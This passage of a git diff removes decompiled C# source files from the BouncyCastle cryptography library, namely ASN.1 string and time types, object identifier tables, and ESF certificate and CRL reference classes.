time.Substring(0, 10) + "00GMT+00:00"; - } - return time.Substring(0, 12) + "GMT+00:00"; - } - int num = time.IndexOf('-'); - if (num < 0) - { - num = time.IndexOf('+'); - } - string text = time; - if (num == time.Length - 3) - { - text += "00"; - } - if (num == 10) - { - return text.Substring(0, 10) + "00GMT" + text.Substring(10, 3) + ":" + text.Substring(13, 2); - } - return text.Substring(0, 12) + "GMT" + text.Substring(12, 3) + ":" + text.Substring(15, 2); - } - } - - [Obsolete("Use 'AdjustedTimeString' property instead")] - public string AdjustedTime => AdjustedTimeString; - - public string AdjustedTimeString - { - get - { - string timeString = TimeString; - string text = ((timeString[0] < '5') ? "20" : "19"); - return text + timeString; - } - } - - public static DerUtcTime GetInstance(object obj) - { - if (obj == null || obj is DerUtcTime) - { - return (DerUtcTime)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerUtcTime GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerUtcTime) - { - return GetInstance(asn1Object); - } - return new DerUtcTime(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerUtcTime(string time) - { - if (time == null) - { - throw new ArgumentNullException("time"); - } - this.time = time; - try - { - ToDateTime(); - } - catch (FormatException ex) - { - throw new ArgumentException("invalid date string: " + ex.Message); - } - } - - public DerUtcTime(DateTime time) - { - this.time = time.ToString("yyMMddHHmmss", CultureInfo.InvariantCulture) + "Z"; - } - - internal DerUtcTime(byte[] bytes) - { - time = Strings.FromAsciiByteArray(bytes); - } - - public DateTime ToDateTime() - { - return ParseDateString(TimeString, "yyMMddHHmmss'GMT'zzz"); - } - - public DateTime ToAdjustedDateTime() - { - return ParseDateString(AdjustedTimeString, "yyyyMMddHHmmss'GMT'zzz"); - } - - private DateTime ParseDateString(string dateStr, string formatStr) - { - return DateTime.ParseExact(dateStr, formatStr, DateTimeFormatInfo.InvariantInfo).ToUniversalTime(); - } - - private byte[] GetOctets() - { - return Strings.ToAsciiByteArray(time); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(23, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerUtcTime derUtcTime)) - { - return false; - } - return time.Equals(derUtcTime.time); - } - - protected override int Asn1GetHashCode() - { - return time.GetHashCode(); - } - - public override string ToString() - { - return time; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtf8String.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtf8String.cs deleted file mode 100644 index f979f30..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtf8String.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerUtf8String : DerStringBase -{ - private readonly string str; - - public static DerUtf8String GetInstance(object obj) - { - if (obj == null || obj is DerUtf8String) - { - return (DerUtf8String)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerUtf8String GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerUtf8String) - { - return GetInstance(asn1Object); - } - return new DerUtf8String(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerUtf8String(byte[] str) - : this(Encoding.UTF8.GetString(str, 0, str.Length)) - { - } - - public DerUtf8String(string str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerUtf8String derUtf8String)) - { - return false; - } - return str.Equals(derUtf8String.str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(12, Encoding.UTF8.GetBytes(str)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVideotexString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVideotexString.cs deleted file mode 100644 index f060801..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVideotexString.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerVideotexString : DerStringBase -{ - private readonly byte[] mString; - - public static DerVideotexString GetInstance(object obj) - { - if (obj == null || obj is DerVideotexString) - { - return (DerVideotexString)obj; - } - if (obj is byte[]) - { - try - { - return (DerVideotexString)Asn1Object.FromByteArray((byte[])obj); - } - catch (Exception ex) - { - throw new ArgumentException("encoding error in GetInstance: " + ex.ToString(), "obj"); - } - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static DerVideotexString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerVideotexString) - { - return GetInstance(asn1Object); - } - return new DerVideotexString(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerVideotexString(byte[] encoding) - { - mString = Arrays.Clone(encoding); - } - - public override string GetString() - { - return Strings.FromByteArray(mString); - } - - public byte[] GetOctets() - { - return Arrays.Clone(mString); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(21, mString); - } - - protected override int Asn1GetHashCode() - { - return Arrays.GetHashCode(mString); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerVideotexString derVideotexString)) - { - return false; - } - return Arrays.AreEqual(mString, derVideotexString.mString); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVisibleString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVisibleString.cs deleted file mode 100644 index c3602c1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerVisibleString.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerVisibleString : DerStringBase -{ - private readonly string str; - - public static DerVisibleString GetInstance(object obj) - { - if (obj == null || obj is DerVisibleString) - { - return (DerVisibleString)obj; - } - if (obj is Asn1OctetString) - { - return new DerVisibleString(((Asn1OctetString)obj).GetOctets()); - } - if (obj is Asn1TaggedObject) - { - return GetInstance(((Asn1TaggedObject)obj).GetObject()); - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerVisibleString GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(obj.GetObject()); - } - - public DerVisibleString(byte[] str) - : this(Strings.FromAsciiByteArray(str)) - { - } - - public DerVisibleString(string str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - public byte[] GetOctets() - { - return Strings.ToAsciiByteArray(str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(26, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerVisibleString derVisibleString)) - { - return false; - } - return str.Equals(derVisibleString.str); - } - - protected override int Asn1GetHashCode() - { - return str.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Eac/EacObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Eac/EacObjectIdentifiers.cs deleted file mode 100644 index bce8eed..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Eac/EacObjectIdentifiers.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Eac; - -public abstract class EacObjectIdentifiers -{ - public static readonly DerObjectIdentifier bsi_de = new DerObjectIdentifier("0.4.0.127.0.7"); - - public static readonly DerObjectIdentifier id_PK = new DerObjectIdentifier(string.Concat(bsi_de, ".2.2.1")); - - public static readonly DerObjectIdentifier id_PK_DH = new DerObjectIdentifier(string.Concat(id_PK, ".1")); - - public static readonly DerObjectIdentifier id_PK_ECDH = new DerObjectIdentifier(string.Concat(id_PK, ".2")); - - public static readonly DerObjectIdentifier id_CA = new DerObjectIdentifier(string.Concat(bsi_de, ".2.2.3")); - - public static readonly DerObjectIdentifier id_CA_DH = new DerObjectIdentifier(string.Concat(id_CA, ".1")); - - public static readonly DerObjectIdentifier id_CA_DH_3DES_CBC_CBC = new DerObjectIdentifier(string.Concat(id_CA_DH, ".1")); - - public static readonly DerObjectIdentifier id_CA_ECDH = new DerObjectIdentifier(string.Concat(id_CA, ".2")); - - public static readonly DerObjectIdentifier id_CA_ECDH_3DES_CBC_CBC = new DerObjectIdentifier(string.Concat(id_CA_ECDH, ".1")); - - public static readonly DerObjectIdentifier id_TA = new DerObjectIdentifier(string.Concat(bsi_de, ".2.2.2")); - - public static readonly DerObjectIdentifier id_TA_RSA = new DerObjectIdentifier(string.Concat(id_TA, ".1")); - - public static readonly DerObjectIdentifier id_TA_RSA_v1_5_SHA_1 = new DerObjectIdentifier(string.Concat(id_TA_RSA, ".1")); - - public static readonly DerObjectIdentifier id_TA_RSA_v1_5_SHA_256 = new DerObjectIdentifier(string.Concat(id_TA_RSA, ".2")); - - public static readonly DerObjectIdentifier id_TA_RSA_PSS_SHA_1 = new DerObjectIdentifier(string.Concat(id_TA_RSA, ".3")); - - public static readonly DerObjectIdentifier id_TA_RSA_PSS_SHA_256 = new DerObjectIdentifier(string.Concat(id_TA_RSA, ".4")); - - public static readonly DerObjectIdentifier id_TA_ECDSA = new DerObjectIdentifier(string.Concat(id_TA, ".2")); - - public static readonly DerObjectIdentifier id_TA_ECDSA_SHA_1 = new DerObjectIdentifier(string.Concat(id_TA_ECDSA, ".1")); - - public static readonly DerObjectIdentifier id_TA_ECDSA_SHA_224 = new DerObjectIdentifier(string.Concat(id_TA_ECDSA, ".2")); - - public static readonly DerObjectIdentifier id_TA_ECDSA_SHA_256 = new DerObjectIdentifier(string.Concat(id_TA_ECDSA, ".3")); - - public static readonly DerObjectIdentifier id_TA_ECDSA_SHA_384 = new DerObjectIdentifier(string.Concat(id_TA_ECDSA, ".4")); - - public static readonly DerObjectIdentifier id_TA_ECDSA_SHA_512 = new DerObjectIdentifier(string.Concat(id_TA_ECDSA, ".5")); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/EdEC/EdECObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/EdEC/EdECObjectIdentifiers.cs deleted file mode 100644 index af4b555..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/EdEC/EdECObjectIdentifiers.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.EdEC; - -public abstract class EdECObjectIdentifiers -{ - public static readonly DerObjectIdentifier id_edwards_curve_algs = new DerObjectIdentifier("1.3.101"); - - public static readonly DerObjectIdentifier id_X25519 = id_edwards_curve_algs.Branch("110"); - - public static readonly DerObjectIdentifier id_X448 = id_edwards_curve_algs.Branch("111"); - - public static readonly DerObjectIdentifier id_Ed25519 = id_edwards_curve_algs.Branch("112"); - - public static readonly DerObjectIdentifier id_Ed448 = id_edwards_curve_algs.Branch("113"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CertificateValues.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CertificateValues.cs deleted file mode 100644 index 24c7e92..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CertificateValues.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CertificateValues : Asn1Encodable -{ - private readonly Asn1Sequence certificates; - - public static CertificateValues GetInstance(object obj) - { - if (obj == null || obj is CertificateValues) - { - return (CertificateValues)obj; - } - if (obj is Asn1Sequence) - { - return new CertificateValues((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CertificateValues' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CertificateValues(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - foreach (Asn1Encodable item in seq) - { - X509CertificateStructure.GetInstance(item.ToAsn1Object()); - } - certificates = seq; - } - - public CertificateValues(params X509CertificateStructure[] certificates) - { - if (certificates == null) - { - throw new ArgumentNullException("certificates"); - } - this.certificates = new DerSequence(certificates); - } - - public CertificateValues(IEnumerable certificates) - { - if (certificates == null) - { - throw new ArgumentNullException("certificates"); - } - if (!CollectionUtilities.CheckElementsAreOfType(certificates, typeof(X509CertificateStructure))) - { - throw new ArgumentException("Must contain only 'X509CertificateStructure' objects", "certificates"); - } - this.certificates = new DerSequence(Asn1EncodableVector.FromEnumerable(certificates)); - } - - public X509CertificateStructure[] GetCertificates() - { - X509CertificateStructure[] array = new X509CertificateStructure[certificates.Count]; - for (int i = 0; i < certificates.Count; i++) - { - array[i] = X509CertificateStructure.GetInstance(certificates[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return certificates; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIdentifier.cs deleted file mode 100644 index 33e9d20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIdentifier.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Esf; - -public abstract class CommitmentTypeIdentifier -{ - public static readonly DerObjectIdentifier ProofOfOrigin = PkcsObjectIdentifiers.IdCtiEtsProofOfOrigin; - - public static readonly DerObjectIdentifier ProofOfReceipt = PkcsObjectIdentifiers.IdCtiEtsProofOfReceipt; - - public static readonly DerObjectIdentifier ProofOfDelivery = PkcsObjectIdentifiers.IdCtiEtsProofOfDelivery; - - public static readonly DerObjectIdentifier ProofOfSender = PkcsObjectIdentifiers.IdCtiEtsProofOfSender; - - public static readonly DerObjectIdentifier ProofOfApproval = PkcsObjectIdentifiers.IdCtiEtsProofOfApproval; - - public static readonly DerObjectIdentifier ProofOfCreation = PkcsObjectIdentifiers.IdCtiEtsProofOfCreation; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIndication.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIndication.cs deleted file mode 100644 index 1585451..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeIndication.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CommitmentTypeIndication : Asn1Encodable -{ - private readonly DerObjectIdentifier commitmentTypeId; - - private readonly Asn1Sequence commitmentTypeQualifier; - - public DerObjectIdentifier CommitmentTypeID => commitmentTypeId; - - public Asn1Sequence CommitmentTypeQualifier => commitmentTypeQualifier; - - public static CommitmentTypeIndication GetInstance(object obj) - { - if (obj == null || obj is CommitmentTypeIndication) - { - return (CommitmentTypeIndication)obj; - } - if (obj is Asn1Sequence) - { - return new CommitmentTypeIndication((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CommitmentTypeIndication' factory: " + Platform.GetTypeName(obj), "obj"); - } - - public CommitmentTypeIndication(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - commitmentTypeId = (DerObjectIdentifier)seq[0].ToAsn1Object(); - if (seq.Count > 1) - { - commitmentTypeQualifier = (Asn1Sequence)seq[1].ToAsn1Object(); - } - } - - public CommitmentTypeIndication(DerObjectIdentifier commitmentTypeId) - : this(commitmentTypeId, null) - { - } - - public CommitmentTypeIndication(DerObjectIdentifier commitmentTypeId, Asn1Sequence commitmentTypeQualifier) - { - if (commitmentTypeId == null) - { - throw new ArgumentNullException("commitmentTypeId"); - } - this.commitmentTypeId = commitmentTypeId; - if (commitmentTypeQualifier != null) - { - this.commitmentTypeQualifier = commitmentTypeQualifier; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(commitmentTypeId); - if (commitmentTypeQualifier != null) - { - asn1EncodableVector.Add(commitmentTypeQualifier); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeQualifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeQualifier.cs deleted file mode 100644 index 02af1d8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CommitmentTypeQualifier.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CommitmentTypeQualifier : Asn1Encodable -{ - private readonly DerObjectIdentifier commitmentTypeIdentifier; - - private readonly Asn1Object qualifier; - - public DerObjectIdentifier CommitmentTypeIdentifier => commitmentTypeIdentifier; - - public Asn1Object Qualifier => qualifier; - - public CommitmentTypeQualifier(DerObjectIdentifier commitmentTypeIdentifier) - : this(commitmentTypeIdentifier, null) - { - } - - public CommitmentTypeQualifier(DerObjectIdentifier commitmentTypeIdentifier, Asn1Encodable qualifier) - { - if (commitmentTypeIdentifier == null) - { - throw new ArgumentNullException("commitmentTypeIdentifier"); - } - this.commitmentTypeIdentifier = commitmentTypeIdentifier; - if (qualifier != null) - { - this.qualifier = qualifier.ToAsn1Object(); - } - } - - public CommitmentTypeQualifier(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - commitmentTypeIdentifier = (DerObjectIdentifier)seq[0].ToAsn1Object(); - if (seq.Count > 1) - { - qualifier = seq[1].ToAsn1Object(); - } - } - - public static CommitmentTypeQualifier GetInstance(object obj) - { - if (obj == null || obj is CommitmentTypeQualifier) - { - return (CommitmentTypeQualifier)obj; - } - if (obj is Asn1Sequence) - { - return new CommitmentTypeQualifier((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CommitmentTypeQualifier' factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(commitmentTypeIdentifier); - if (qualifier != null) - { - asn1EncodableVector.Add(qualifier); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteCertificateRefs.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteCertificateRefs.cs deleted file mode 100644 index 0e0dd26..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteCertificateRefs.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CompleteCertificateRefs : Asn1Encodable -{ - private readonly Asn1Sequence otherCertIDs; - - public static CompleteCertificateRefs GetInstance(object obj) - { - if (obj == null || obj is CompleteCertificateRefs) - { - return (CompleteCertificateRefs)obj; - } - if (obj is Asn1Sequence) - { - return new CompleteCertificateRefs((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CompleteCertificateRefs' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CompleteCertificateRefs(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - foreach (Asn1Encodable item in seq) - { - OtherCertID.GetInstance(item.ToAsn1Object()); - } - otherCertIDs = seq; - } - - public CompleteCertificateRefs(params OtherCertID[] otherCertIDs) - { - if (otherCertIDs == null) - { - throw new ArgumentNullException("otherCertIDs"); - } - this.otherCertIDs = new DerSequence(otherCertIDs); - } - - public CompleteCertificateRefs(IEnumerable otherCertIDs) - { - if (otherCertIDs == null) - { - throw new ArgumentNullException("otherCertIDs"); - } - if (!CollectionUtilities.CheckElementsAreOfType(otherCertIDs, typeof(OtherCertID))) - { - throw new ArgumentException("Must contain only 'OtherCertID' objects", "otherCertIDs"); - } - this.otherCertIDs = new DerSequence(Asn1EncodableVector.FromEnumerable(otherCertIDs)); - } - - public OtherCertID[] GetOtherCertIDs() - { - OtherCertID[] array = new OtherCertID[otherCertIDs.Count]; - for (int i = 0; i < otherCertIDs.Count; i++) - { - array[i] = OtherCertID.GetInstance(otherCertIDs[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return otherCertIDs; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteRevocationRefs.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteRevocationRefs.cs deleted file mode 100644 index 9d2e712..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CompleteRevocationRefs.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CompleteRevocationRefs : Asn1Encodable -{ - private readonly Asn1Sequence crlOcspRefs; - - public static CompleteRevocationRefs GetInstance(object obj) - { - if (obj == null || obj is CompleteRevocationRefs) - { - return (CompleteRevocationRefs)obj; - } - if (obj is Asn1Sequence) - { - return new CompleteRevocationRefs((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CompleteRevocationRefs' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CompleteRevocationRefs(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - foreach (Asn1Encodable item in seq) - { - CrlOcspRef.GetInstance(item.ToAsn1Object()); - } - crlOcspRefs = seq; - } - - public CompleteRevocationRefs(params CrlOcspRef[] crlOcspRefs) - { - if (crlOcspRefs == null) - { - throw new ArgumentNullException("crlOcspRefs"); - } - this.crlOcspRefs = new DerSequence(crlOcspRefs); - } - - public CompleteRevocationRefs(IEnumerable crlOcspRefs) - { - if (crlOcspRefs == null) - { - throw new ArgumentNullException("crlOcspRefs"); - } - if (!CollectionUtilities.CheckElementsAreOfType(crlOcspRefs, typeof(CrlOcspRef))) - { - throw new ArgumentException("Must contain only 'CrlOcspRef' objects", "crlOcspRefs"); - } - this.crlOcspRefs = new DerSequence(Asn1EncodableVector.FromEnumerable(crlOcspRefs)); - } - - public CrlOcspRef[] GetCrlOcspRefs() - { - CrlOcspRef[] array = new CrlOcspRef[crlOcspRefs.Count]; - for (int i = 0; i < crlOcspRefs.Count; i++) - { - array[i] = CrlOcspRef.GetInstance(crlOcspRefs[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return crlOcspRefs; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlIdentifier.cs deleted file mode 100644 index 8eb9379..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlIdentifier.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CrlIdentifier : Asn1Encodable -{ - private readonly X509Name crlIssuer; - - private readonly DerUtcTime crlIssuedTime; - - private readonly DerInteger crlNumber; - - public X509Name CrlIssuer => crlIssuer; - - public DateTime CrlIssuedTime => crlIssuedTime.ToAdjustedDateTime(); - - public BigInteger CrlNumber - { - get - { - if (crlNumber != null) - { - return crlNumber.Value; - } - return null; - } - } - - public static CrlIdentifier GetInstance(object obj) - { - if (obj == null || obj is CrlIdentifier) - { - return (CrlIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new CrlIdentifier((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CrlIdentifier' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CrlIdentifier(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 2 || seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - crlIssuer = X509Name.GetInstance(seq[0]); - crlIssuedTime = DerUtcTime.GetInstance(seq[1]); - if (seq.Count > 2) - { - crlNumber = DerInteger.GetInstance(seq[2]); - } - } - - public CrlIdentifier(X509Name crlIssuer, DateTime crlIssuedTime) - : this(crlIssuer, crlIssuedTime, null) - { - } - - public CrlIdentifier(X509Name crlIssuer, DateTime crlIssuedTime, BigInteger crlNumber) - { - if (crlIssuer == null) - { - throw new ArgumentNullException("crlIssuer"); - } - this.crlIssuer = crlIssuer; - this.crlIssuedTime = new DerUtcTime(crlIssuedTime); - if (crlNumber != null) - { - this.crlNumber = new DerInteger(crlNumber); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(crlIssuer.ToAsn1Object(), crlIssuedTime); - if (crlNumber != null) - { - asn1EncodableVector.Add(crlNumber); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlListID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlListID.cs deleted file mode 100644 index 344477b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlListID.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CrlListID : Asn1Encodable -{ - private readonly Asn1Sequence crls; - - public static CrlListID GetInstance(object obj) - { - if (obj == null || obj is CrlListID) - { - return (CrlListID)obj; - } - if (obj is Asn1Sequence) - { - return new CrlListID((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CrlListID' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CrlListID(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count != 1) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - crls = (Asn1Sequence)seq[0].ToAsn1Object(); - foreach (Asn1Encodable crl in crls) - { - CrlValidatedID.GetInstance(crl.ToAsn1Object()); - } - } - - public CrlListID(params CrlValidatedID[] crls) - { - if (crls == null) - { - throw new ArgumentNullException("crls"); - } - this.crls = new DerSequence(crls); - } - - public CrlListID(IEnumerable crls) - { - if (crls == null) - { - throw new ArgumentNullException("crls"); - } - if (!CollectionUtilities.CheckElementsAreOfType(crls, typeof(CrlValidatedID))) - { - throw new ArgumentException("Must contain only 'CrlValidatedID' objects", "crls"); - } - this.crls = new DerSequence(Asn1EncodableVector.FromEnumerable(crls)); - } - - public CrlValidatedID[] GetCrls() - { - CrlValidatedID[] array = new CrlValidatedID[crls.Count]; - for (int i = 0; i < crls.Count; i++) - { - array[i] = CrlValidatedID.GetInstance(crls[i].ToAsn1Object()); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(crls); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlOcspRef.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlOcspRef.cs deleted file mode 100644 index 33f052a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/CrlOcspRef.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class CrlOcspRef : Asn1Encodable -{ - private readonly CrlListID crlids; - - private readonly OcspListID ocspids; - - private readonly OtherRevRefs otherRev; - - public CrlListID CrlIDs => crlids; - - public OcspListID OcspIDs => ocspids; - - public OtherRevRefs OtherRev => otherRev; - - public static CrlOcspRef GetInstance(object obj) - { - if (obj == null || obj is CrlOcspRef) - { - return (CrlOcspRef)obj; - } - if (obj is Asn1Sequence) - { - return new CrlOcspRef((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'CrlOcspRef' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private CrlOcspRef(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - foreach (Asn1TaggedObject item in seq) - { - Asn1Object obj = item.GetObject(); - switch (item.TagNo) - { - case 0: - crlids = CrlListID.GetInstance(obj); - break; - case 1: - ocspids = OcspListID.GetInstance(obj); - break; - case 2: - otherRev = OtherRevRefs.GetInstance(obj); - break; - default: - throw new 